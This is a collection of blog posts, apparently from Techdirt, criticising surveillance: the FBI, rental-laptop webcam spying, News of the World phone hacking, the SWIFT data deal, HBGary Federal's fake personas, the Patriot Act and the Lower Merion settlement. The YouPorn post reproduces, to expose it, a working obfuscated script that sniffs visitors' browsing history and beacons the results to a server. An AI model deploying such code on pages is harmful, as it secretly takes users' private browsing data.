FBI Agents Getting More Power To Spy On People With Less Oversight

from the no,-that-won't-be-abused-at-all dept

The FBI has quite a history of abusing its powers in spying on people. Over the past few years, revelations of massive abuses of the National Security Letter (NSL) process to get info on people without proper oversight, has showed how agents will quite frequently go beyond what is legal to obtain info on people. So it seems quite troubling to find out that the FBI is adapting its manual for agents, known as "The Domestic Investigations and Operations Guide," to let agents do electronic lookups on people without first justifying the reasons.

Under current rules, agents must open such an inquiry before they can search for information about a person in a commercial or law enforcement database. Under the new rules, agents will be allowed to search such databases without making a record about their decision.

We've seen over and over and over again, when people have access to giant databases of info (especially in the government) without clear tracking or oversight, that data gets abused. Allowing FBI agents to search willy nilly is a recipe for widespread abuse.

Filed Under: databases, fbi, oversight, spying

Laptop Rental Provider Sued For Spying On Renters Via Surreptitious Webcam Software

from the this-again? dept

You would think after last year's attention-grabbing lawsuit about the Lower Merion School district using some surreptitious monitoring software to activate webcams and snap photos of kids at home that others would be a lot more careful about their use of such software. After all, the school district ended up having to pay out $610,000 to settle the lawsuit filed against it.

However, in a similar story, a Wisconsin couple has apparently sued Aaron's Inc. for spying on them. Aaron's is a giant "rent-to-own" retailer, offering furniture, electronics and computers on a rent-to-own basis. In this case, the couple had rented a Dell laptop from the company, and later discovered that it had sneaky monitoring software on it which they were unaware of... but which was used to turn on the laptop's webcam and take pictures of the family without them knowing about it.

The only way they found out was that a store manager came to take back the computer, incorrectly believing the couple had not paid their bill (they had). When he showed up, he showed them a photo he had, which was taken from the webcam, which (understandably) freaked out the couple. They asked him how he got the photo, and his response was that he wasn't supposed to show them the photo. Well, that's comforting. Apparently, the product that was used to do this monitoring was hardware based as well, meaning that it couldn't be detected or turned off via software.

The couple and their lawyers are seeking to turn this into a class action for all renters of computers from Aaron's that have this tracking technology. Also, the couple contacted the police, who apparently still have the computer, so I guess there's at least some review of whether or not this is a criminal matter. The AP article (linked in the paragraph above) has a short discussion on whether or not this effort violated either ECPA or the CFAA:

Two attorneys who are experts on the relevant computer privacy laws, the Electronic Communications Privacy Act and the Computer Fraud and Abuse Act, said it's difficult to tell if either was broken, though both agree the company went too far.

Peter Swire, an Ohio State professor, said using a software "kill switch" is legal because companies can protect themselves from fraud and other crimes.

"But this action sounds like it's stretching the self-defense exception pretty far," Swire said, because the software "was gathering lots of data that isn't needed for self-protection."

Further, Swire said the Computer Fraud and Abuse Act "prohibits unauthorized access to my computer over the Internet. The renter here didn't authorize this kind of access."

Fred Cate, an information law professor at Indiana University agrees that consent is required but said the real question might be: "Whose consent?"

It's no secret that both ECPA and CFAA have their problems, but it seems like this might be the type of case that those laws were more designed to cover -- though, that definitely depends on some of the details which haven't come out yet.

Filed Under: cfaa, computer, ecpa, rental, spying, webcam
Companies: aaron's

Hugh Grant: Investigative Reporter

from the funny-how-things-work dept

You may have heard of the big scandal story, that's been going on for a bit in the UK, concerning reporters from Rupert Murdoch's News of the World listening to voicemails of all sorts of people, in the course of their reporting. There had been earlier reports that it just targeted the royal family, but, last fall, reports came out that it was widespread and covered all sorts of famous people and people in the news. There have been questions about how much the government or law enforcement officials have been investigating this whole thing... so leave it to an unlikely investigative reporter to turn up some news: actor Hugh Grant, one of the people whose voicemail was accessed.

Grant has a somewhat entertaining story in the New Statesman concerning his own secretly recorded interview with one of the ex-reporters who "blew the whistle" on the privacy breaches. Apparently, Grant had randomly met the guy when his car broke down and this guy stopped to help him... while also taking some photos of him that later appeared in the news. When asked to write an article for the New Statesman, Grant thought that he might as well interview the guy, and since he wasn't at all pleased about the photos appearing in the paper (and the whole thing about his voicemails being listened to), he decided to record the interview without letting the guy know.

While there's some general amusement from the fact that Hugh Grant is acting as an investigative reporter, there really is a larger point here. One of the things we commonly hear concerning arguments for paywalls or government support of newspapers is that, without the professionals, no serious investigative reporting would be done. Now, I'm not saying we don't need professionals. I believe professional investigative reporters are important and are likely to remain in business for quite some time. But, you can't discount the fact that they're not the only game in town, anymore. Anyone can be an investigative reporter, if the situation presents itself. Yes, it may involve people who are somehow "connected" to a story and want to get to the bottom of it, but that doesn't make what they turn up any less "news." The key point: if there's a market for it, there will be a way to get it done. There's definitely a market for investigative journalism, and I have no fear that it will continue to be done... even if it occasionally includes random surprises like Hugh Grant bugging a former reporter.

Filed Under: hugh grant, journalism, news of the world, rupert murdoch, spying

EU Realizing It Got The Short End Of The Stick In Agreeing To Let US Spy On Bank Data

from the whoops dept

A little over a year ago, the EU agreed to a deal with the US, called the SWIFT agreement, which said that the US could get access to EU citizens' financial transaction data. This was so that the US could (in theory) better track down terrorists. That's the story we're told, anyway. There are a variety of conditions imposed on the US, such as that they have to justify their requests, the requests must be specific rather than general, and that it is limited only to people with "links to terrorist activity." Oh yeah and any EU citizen is supposed to have the right to find out if the US accessed his or her financial data.

Apparently, an EU Parliament member decided to test this last part out and got a major runaround, in order to keep him from finding out if his data was seen by the Americans. Meanwhile, the Europol Joint Supervisory Body (JSB) complained that the requests from the US to get this kind of data have been too vague (remember, they're required to be specific) to determine if they're valid.

Given all of this, it appears the EU is wondering why it's turning data over to the US at all. As the reporter Nick Farrell notes in that last link, what's kind of amazing here is that the US has been given access to financial data of citizens of other countries, and you'd think it would be bending over backwards to keep that sort of access. Basically ignoring the very rules it agreed to seems like a good way to completely lose that access.

Filed Under: bank data, eu, spying, swift, us

More HBGary Federal Fallout: The Government Wants To Buy Software To Fake Online Grassroots Social Media Campaigns

from the ipropaganda dept

The latest in the long line of revelations from the HBGary Federal email leak, is that HBGary Federal wanted to create software that could make it easy for staffers to create and maintain a massive number of fake online social network personas, allowing them to control virtual armies of totally fake people, whose only mission is to spy on others and spew paid-for propaganda. But, what's even more amazing is that not only did the emails reveal HBGary Federal employees talking about building a platform for letting people more easily manage an army of fake personas, but that the US government put out a request for exactly that kind of software last June, with its request for "Persona Management Software."

Software will allow 10 personas per user, replete with background , history, supporting details, and cyber presences that are technically, culturally and geographacilly consistent. Individual applications will enable an operator to exercise a number of different online persons from the same workstation and without fear of being discovered by sophisticated adversaries. Personas must be able to appear to originate in nearly any part of the world and can interact through conventional online services and social media platforms. The service includes a user friendly application environment to maximize the user's situational awareness by displaying real-time local information.

The request appears to come from the Air Force, and the idea is to use such a tool in Afghanistan and Iraq... but if the government has such tools, is it really that big of a stretch to see them using them in other contexts as well? While I do wonder how effective such a tool really is, the idea that it can pretty successfully build up "friends" using social media, and then use those for propaganda purposes seems just wrong. It seems that even the folks at HBGary Federal were somewhat perplexed by this government opportunity, with one employee sending around an email that said, simply: "WTF Dude?" while someone else questioned whether it could really be serious.

Of course, once again we're seeing HBGary Federal in the middle of a plot that sounds like the script of a bad movie. Still, the question remains: are these kinds of actions par for the course, or did HBGary Federal's boss spend way too much time watching crazy SciFi movies and using them for inspiration?

Filed Under: fake profiles, falsification, government, social networks, spying
Companies: hbgary federal

HBGary Federal Spied On Families And Children Of US Chamber Of Commerce Opponents

from the lovely-folks dept

The story of HBGary Federal keeps getting worse and worse. After threatening to reveal the "leaders" of the leaderless group Anonymous, the company's servers were hacked and emails released, exposing a bizarre plan to intimidate Wikileaks critics to get them to stop supporting the site, and to plant false information. A few days later, it came out that HBGary Federal (along with partners Palantir and Berico) also had proposed a similar campaign to help the US Chamber of Commerce silence critics. New reports show that HBGary Federal boss Aaron Barr apparently went so far as to "demonstrate" his ability to intimidate people by using social networking info to dig up information and photos on people's families.

In fact, in a bit of bravado, he even used the same tactics to reveal info he was able to glean about the family of one of the lawyers, Richard Wyatt, who had contacted HBGary Federal from the law firm/lobbying firm of Huntoon and Williams, in looking to secure their services for both the Bank of America anti-Wikileaks campaign and the US Chamber of Commerce anti-critics campaign: I still don't think that hacking HBGary Federal's email was the right move, but if anyone has ever come close to deserving such treatment, it seems like Barr may be in the lead.

Filed Under: families, spying
Companies: berico tecnologies, hbgary federal, huntoon and williams, palantir technologies, us chamber of commerce

Obama Administration Says It Can Spy On Americans, But Can't Tell You What Law Allows It

from the secret-laws! dept

Remember how President Obama, while campaigning, promised to reject the questionable spying practices of the federal government of President Bush? Yeah, forget all that. Over the past two years, we've seen time and time again that he's actually extended those abuses even further. The latest to come out is that the Justice Department is now claiming that the FBI has the right to get phone records on any call made from inside the US to an international number without any oversight. You may recall a few years back that there was a similar controversy, when it came out that the FBI would regularly just call up phone companies and ask for records -- despite the fact that this violates certain laws designed to protect consumer privacy. Sometimes, they would just use post-it notes.

Apparently, a year ago, McClatchy newspapers put in a FOIA request, asking for the details of a particular Office of Legal Counsel (OLC) memo that was mentioned in the (previously released, but highly redacted) report that showed how frequently the FBI abused the law in this manner. The OLC took its sweet time responding, but finally responded, and in the cover letter admitted that the Obama administration believes it is perfectly legal for the FBI to route around the in-place oversight for getting access to such records and claimed that the law said so.

Which law says so? Oh, see, that they can't say. Yes, the part of the letter that explains which law lets the FBI get these records without oversight was redacted.

It's a secret law! And here I thought, in the US, if the government was going to base actions on a particular law, at the very least, they were supposed to tell you what law. Apparently, the Justice Department under the Obama administration does not believe that to be the case.

Basically, what this means is that the federal government believes that it's free to request information without first getting court approval -- and without telling the public what law says they're allowed to get this information. That's not what the laws on the books seem to say at all. But, of course, big telcos such as AT&T, who are so closely tied to the government, are going to roll over and give the government such info (or, perhaps, give them direct access to the info), even if it violates other laws. Why do you think President Obama voted to support giving telcos retroactive immunity on this issue, while he was running for President despite having earlier said he was against it? Now that he's in power, he apparently is perfectly happy to let the FBI twist the clear intentions of the law to spy on Americans without oversight, and then to refuse to reveal what law he's relying on to make such spying on Americans without oversight legal.

McClatchy quotes Michael German, a former FBI agent, who now works for the ACLU pointing out the obvious:

"It's wrong that they're withholding a legal rationale that has to do with the authorities of the FBI to collect information that affects the rights of American citizens here and abroad.... The law should never be secret. We should all understand what rules we're operating under and particularly when it comes to an agency that has a long history of abuse in its collection activities."

And so far, it doesn't seem like most people care. About the only politician who really seems concerned about this is Senator Wyden, who says this level of secrecy "is a serious problem" and he's "continuing to press the executive branch to disclose more information to the public about what their government thinks the law means." Once again, kudos to Senator Wyden for being one of a very small number of politicians who seems to consistently be concerned about the rights of individuals. But it's sad that the rest of our elected officials aren't up in arms about this. The government shouldn't be spying on Americans, and if it is, it should at least have to tell Americans what law it's basing that decision on.

Filed Under: fbi, justice department, phone records, spying, warrantless

Surprise: House Did NOT Automatically Extend The Patriot Act

from the didn't-see-that-coming dept

If you read the press reports this afternoon, you would have assumed that the House voting to simply extend the various (controversial) provisions of the Patriot Act until last this year was pretty much a foregone conclusion. Among the reports we saw:

• House is set to pass PATRIOT Act extension: "The House on Tuesday night was expected to pass a bill to renew for one year certain controversial sections of the USA PATRIOT Act that would otherwise expire this month."
• Patriot Act Extension: A Matter of Timing?: "The House will likely vote this evening to extend three key portions of the Patriot Act, the contentious antiterrorism law passed in the wake of the Sept. 11, 2001 attacks."
• House to pass Patriot Act extension: "The House is expected to approve a short-term extension of expiring parts of Patriot Act Tuesday night, forcing the Senate to tackle questions of how to deal with the counterterrorism surveillance law in the longer term."

Turns out the conventional wisdom was wrong. The House could not conjure up enough votes to pass the extension. While a majority did vote for it, the rules required a 2/3 vote to pass and supporters of the extension fell 13 votes short -- getting 277 in favor and 148 against. You can check out the roll call for the 148 Reps who didn't just roll over.

Of course, this is hardly the end and it's still widely expected that these provisions will get extended in one way or another. It appears that we don't have any politicians interested in pointing out that these provisions go way beyond what is necessary and legal, so, of course, they'll just get extended again at some point. Still, for a brief moment, it's nice to see that not everyone in Congress would just role over and play dumb at hearing "Patriot Act."

In case you were wondering about the three specific provisions, Wired has a good summary:

• The "roving wiretap" provision allows the FBI to obtain wiretaps from a secret intelligence court, known as the FISA court, without identifying the target or what method of communication is to be tapped.
  
  
• The "lone wolf" measure allows FISA court warrants for the electronic monitoring of a person for whatever reason -- even without showing that the suspect is an agent of a foreign power or a terrorist. The government has said it has never invoked that provision, but the Obama administration said it wanted to retain the authority to do so.
  
  
• The "business records" provision allows FISA court warrants for any type of record, from banking to library to medical, without the government having to declare that the information sought is connected to a terrorism or espionage investigation.

Contrary to the claims of fear-mongering politicians, none of these provisions are necessary at all. They're all about being able to spy on Americans with little or no oversight. The fact that they were allowed at all in the first place was in part due to the fact that it was post 9/11 and there was a "sunset clause" that would have them go away. It's time Congress let them go.

Filed Under: extension, patriot act, spying

How YouPorn Tries To Hide That It's Spying On Your Browsing History

from the what,-no-rot-13? dept

There's a fair bit of attention being paid to a Forbes article about some new research concerning how a bunch of websites, including YouPorn, are exploiting a simple security hole to see what other sites you've visited:

How does it work? It's based on your browser changing the color of links you've already clicked on. A script on the site exploits a Web privacy leak to quickly check and see whether your browser reveals that the links to a host of other porn sites have been assigned the color "purple," meaning you've clicked them before.

This isn't a huge surprise, but what I found most fascinating was how YouPorn sought to hide this bit of javascript by "encrypting" it. And by "encrypting" it, I mean switching letters one letter up in the alphabet. As Kashmir Hill explains:

The script on YouPorn’s site that checks a user’s history (which you can see for yourself by going to the site and checking out its html with “View Source”) looks like this:

<script type="text/javascript">
function ypol(){var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",
2:"bevmugsjfoegjoefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",
5:"yoyy/dpn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",
8:"yibntufs/dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",
11:"csb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",
14:"gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dpn",
17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nbyqpso/dpn",
20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsopsbnb/dpn"};
var g=[];for(var m in k){var d=k[m];
var a="";for(var f=0;f<d.length;f++)
{a+=String.fromCharCode(d.charCodeAt(f)-1)}var h=false;
for(var j in {"http://":"","http://www.":""})
{var l=document.createElement("a");
l.href=j+a;document.getElementById("ol").appendChild(l);
var e="";if(navigator.appName.indexOf("Microsoft")!=-1){e=l.currentStyle.color}
else{e=document.defaultView.getComputedStyle(l,null).getPropertyValue("color")}
if(e=="rgb(12, 34, 56)"||e=="rgb(12,34,56)"){h=true}}if(h){g.push(m)}}
var b=(g instanceof Array)?g.join(","):"";var c=document.createElement("img");
c.src="http://ol.youporn.com/blank.gif?id="+b;document.getElementById("ol").appendChild(c)}ypol();
</script>

That list of gibberish contains the sites that YouPorn is checking to see if you’ve visited, but disguises them with a bit o’ simple cryptography. Dial back each letter by one, so “qpsoivc/dpn”, for example, becomes “pornhub.com.”

What's amazing is that anyone actually thought this was a worthwhile move. It's not that hard to "decrypt" and it's almost obvious to the naked eye because it's not too difficult to figure out how the "encryption" (and I use that word loosely) works just by noticing all the terms that end in /dpn. You'd think even a rot-13 would throw a few more people off the scent.

Filed Under: browsers, encryption, history, javascript, spying
Companies: youporn

Spying School District Pays Out $610,000 To Settle Lawsuit -- Mostly To The Lawyers

from the legal-fees dept

We've been following the case in suburban Philadelphia of the Lower Merion School District, which was sued by a student for spying on the student in his home with district issued laptops (the kid was disciplined for supposedly using drugs, with the evidence being a photo of him in his room at his laptop -- the kid claims he was just eating Mike & Ikes candy). While the district initially denied it was spying on students, later reports found 58,000 images were taken, including 469 of another student who also sued.

While the feds declined to bring criminal charges, it looks like the school district has now settled the outstanding lawsuits mainly by giving the lawyers a big chunk of money. In total, the school district paid out $610,000, with $425,000 going to the lawyers. The student who brought the first case will get $175,000, and the student in the second case will get $10,000 (the article mistakenly suggests two separate payments of $185,000, but I believe that's wrong). The district, in its announcement admits that, in total, this whole thing is costing about $1.2 million, which is actually being covered by insurance.

The situation is a bit tricky, because, in some sense, taxpayers are footing the bill for the district's ridiculous policy choices (even though insurance is covering the direct cost). I would imagine that this sort of thing will act as a reasonable deterrent to other school districts considering (or already using) similar technology.

Filed Under: lower merion school district, schools, settlements, spying